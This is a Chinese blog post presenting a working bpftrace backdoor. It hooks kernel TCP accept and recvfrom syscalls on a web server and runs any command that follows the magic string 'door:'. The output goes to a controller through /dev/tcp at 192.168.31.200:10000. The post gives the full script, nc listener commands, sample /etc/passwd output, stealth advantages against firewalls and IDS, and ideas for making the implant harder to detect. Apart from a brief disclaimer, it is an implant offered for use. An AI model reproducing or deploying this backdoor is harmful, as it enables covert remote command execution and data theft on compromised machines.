神奇BPF6 bpftrace搞个小后门

一 前言

其实我都没怎么用过其他的后门程序,记得在kali系统上的有些攻击工具自动反弹shell,通过shell来进行远程的连接,还有的就是利用nc,这个比较简单了。

啥是后门,我觉得就是给自己留个方便进出的通道,本来自己已经拿下这台机器了,结果动作太大,被发现了,一顿清理,成果就这样没了,所以要留个隐秘的方便的通道,这样防止已经再用的连接丢失啊,在后悔就晚了。

那么什么是个好的后门那?我觉得好的后门,应该是尽量少的资源占用,防止被发现,有些挖矿木马上来就占用百分之几百的cpu,难道觉得自己暴漏的不够明显吗;第二那就是低调,低调再低调,能不开端口的就不开端口,开个服务端口,那就动作比较大了。能利用现有环境的,能不对环境做改动,这样才能隐藏的久一点。

这次用bpftrace玩的小后门,其实只是个试验了,很粗糙,但是我觉得却是个很不错的思路,功能稍微完善下,也未尝不可以玩玩。

既然是后门我觉得首先要拿下这台机器,而且是root权限,这次的后门利用的bpftrace,是需要root权限才可以运行的。

如果对bpftrace不够了解,翻看下前面的文章,神奇的BPF4,那里面写的也是后门,但是我觉得说的不够清楚,所以有了这篇。

在此声明,不要干坏事,否则后果自负!

二 部署和原理说明

160d68ed834769d94b160d426cbbd21a.png
部署图

我是在虚拟机环境下测试的,以上是两台虚拟机,ip如上。50主机为web服务器,我们的bpftrace后门就建立在这个机器。整个流程如下:

  1. 首先控制机 作为普通的客户端连接80端口,然后发送些特殊命令。

  2. bpftrace写的后门程序插桩在内核的tcp的一些接收消息的方法上。

  3. 后门程序取出程序后,执行程序,消息正常发送给web后台。

  4. 后门程序把命令执行的结果发送到控制机器的特定端口上。

三 命令执行

被控制机执行启动命令:

#启动bpftrace后门
./backdoor.bt

控制机启动:

# 利用nc启动个监听服务器
nc -lk 10000

#再开个终端执行命令:
nc -4 -v 192.168.31.50 80

#输入后门魔术字符,后面跟着要执行的命令,比如cat /etc/passwd
#  会在监听端口收到命令的返回结果的。
door: cat /etc/passwd

如下 连接命令图:

root@ubuntu-lab:/home/miao/bpftrace-test# nc -4 -v 192.168.31.50 80
Connection to 192.168.31.50 80 port [tcp/http] succeeded!
door: ls /
HTTP/1.1 400 Bad Request
Server: nginx/1.14.1
Date: Sat, 18 Jun 2022 13:43:15 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>

返回结果图:

root@ubuntu-lab:/home/miao# nc -lk 10000
execute cmd: cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin

....

四 源码

源码非常简单,如下,

#!/usr/bin/bpftrace --unsafe 
#include <net/sock.h>
#include <linux/in.h>
#include <linux/in6.h>

BEGIN
{
  printf("Welcome to Offensive BPF... Use Ctrl-C to exit.\n");
}

tracepoint:syscalls:sys_enter_accept*
{ 
  @sk[tid] = args->upeer_sockaddr;
}

tracepoint:syscalls:sys_exit_accept*
/ @sk[tid] /
{
  @sys_accepted[tid] = @sk[tid]; 
  $sa = (struct sockaddr *) @sk[tid];
  if ($sa->sa_family == AF_INET) {
     $s = (struct sockaddr_in *) @sk[tid];
     $port = ($s->sin_port>>8) | (($s->sin_port<<8) &0xff00);
     printf("%-16s %-5d  \n",ntop(AF_INET,$s->sin_addr.s_addr),$port);
   }
}

tracepoint:syscalls:sys_enter_recvfrom
/ @sys_accepted[tid] /
{   
  @fds[tid]=args->fd;
  @sys_read[tid] = args->ubuf;
}

tracepoint:syscalls:sys_exit_recvfrom
{
   $len = args->ret;
  if ((@sys_read[tid] != 0) && ($len > 5))
  { 
    $cmd = str(@sys_read[tid], 5);
    if ($cmd == "door:")
    {
      $cmd=str(@sys_read[tid]+5,$len-5-1);
      printf("************tid:%d Command: %s***********\n", tid, $cmd);
      @cmds[tid]=$cmd;
      @exec[tid] = 1;
      system("echo  %s >/dev/tcp/192.168.31.200/10000",$cmd);
    } else {
      printf("recv:%s\n",str(@sys_read[tid]));
    }
  } 
}

tracepoint:syscalls:sys_enter_writev,tracepoint:syscalls:sys_enter_write
/ @exec[tid] == 1 /
{
  printf("write to client:");
  printf("%d %d",args->fd,@fds[tid]);
  system("%s >/dev/tcp/192.168.31.200/10000",@cmds[tid]);
}

END
{
    clear(@cmds);
    clear(@fds);
    clear(@exec);
    clear(@sk);
    clear(@sys_read);
    clear(@sys_accepted);
    printf("Exiting. Bye.\n");
}

在神奇BPF4的文章中,已经说明过了,这里面就简单说下就是插桩内核的tcp关键收发消息函数,判断收到的字符是不是魔术字符串,如果是截取后,执行命令,然后通过tcp协议发送到控制端。

五 优缺点和改进

优点:

  1. 首先这个bpftrace写的后门非常简单。

  2. 后门不用新开端口,只要开了tcp服务的端口上都可以利用,不过有些不是太好利用罢了,当然也可以改成利用udp端口,总之可以根据服务器的情况灵活利用。

  3. 对防火墙来说就是正常的http请求,唯一可能的问题是发送魔术字符串,那流量检测设备可能会告警,但是看看返回的信息又是正常的,多半会以为没有攻击成功吧。

  4. 通过外发送的方式,发送完消息就断开连接了,很难发现。

缺点和改进点

  1. 目前的脚本里面魔术字符串是个缺点,如果仔细点可能会发现,那么如果后门做到https端口的后面那,通过url的后面参数传递那,再加上编码,ids设备发现不了,waf多半也看不出是攻击吧。

  2. 其实还有一种更好的办法,那就是不通过魔术字符串传递消息,在后面里面固定好几个命令,然后通过判断客户端的端口来执行具体的命令,执行结果完全不返回给控制端,比如我们通过2345端口连接web服务器的时候,执行命令添加一个test用户,无论是通过流量检测设备、防火墙设备、waf设备完全没办法检测到了,除非在主机上查看bpf程序的情况才可以看到,真的蛮有意思的,不是嘛。

六 如何检测那

这个参考 神奇BPF4 那篇文章吧。

七 参考连接和学习连接

[https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/](https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/)
[https://www.brendangregg.com/bpf-performance-tools-book.html#ebook](https://www.brendangregg.com/bpf-performance-tools-book.html#ebook)

猜你喜欢

转载自blog.csdn.net/mseaspring/article/details/125353784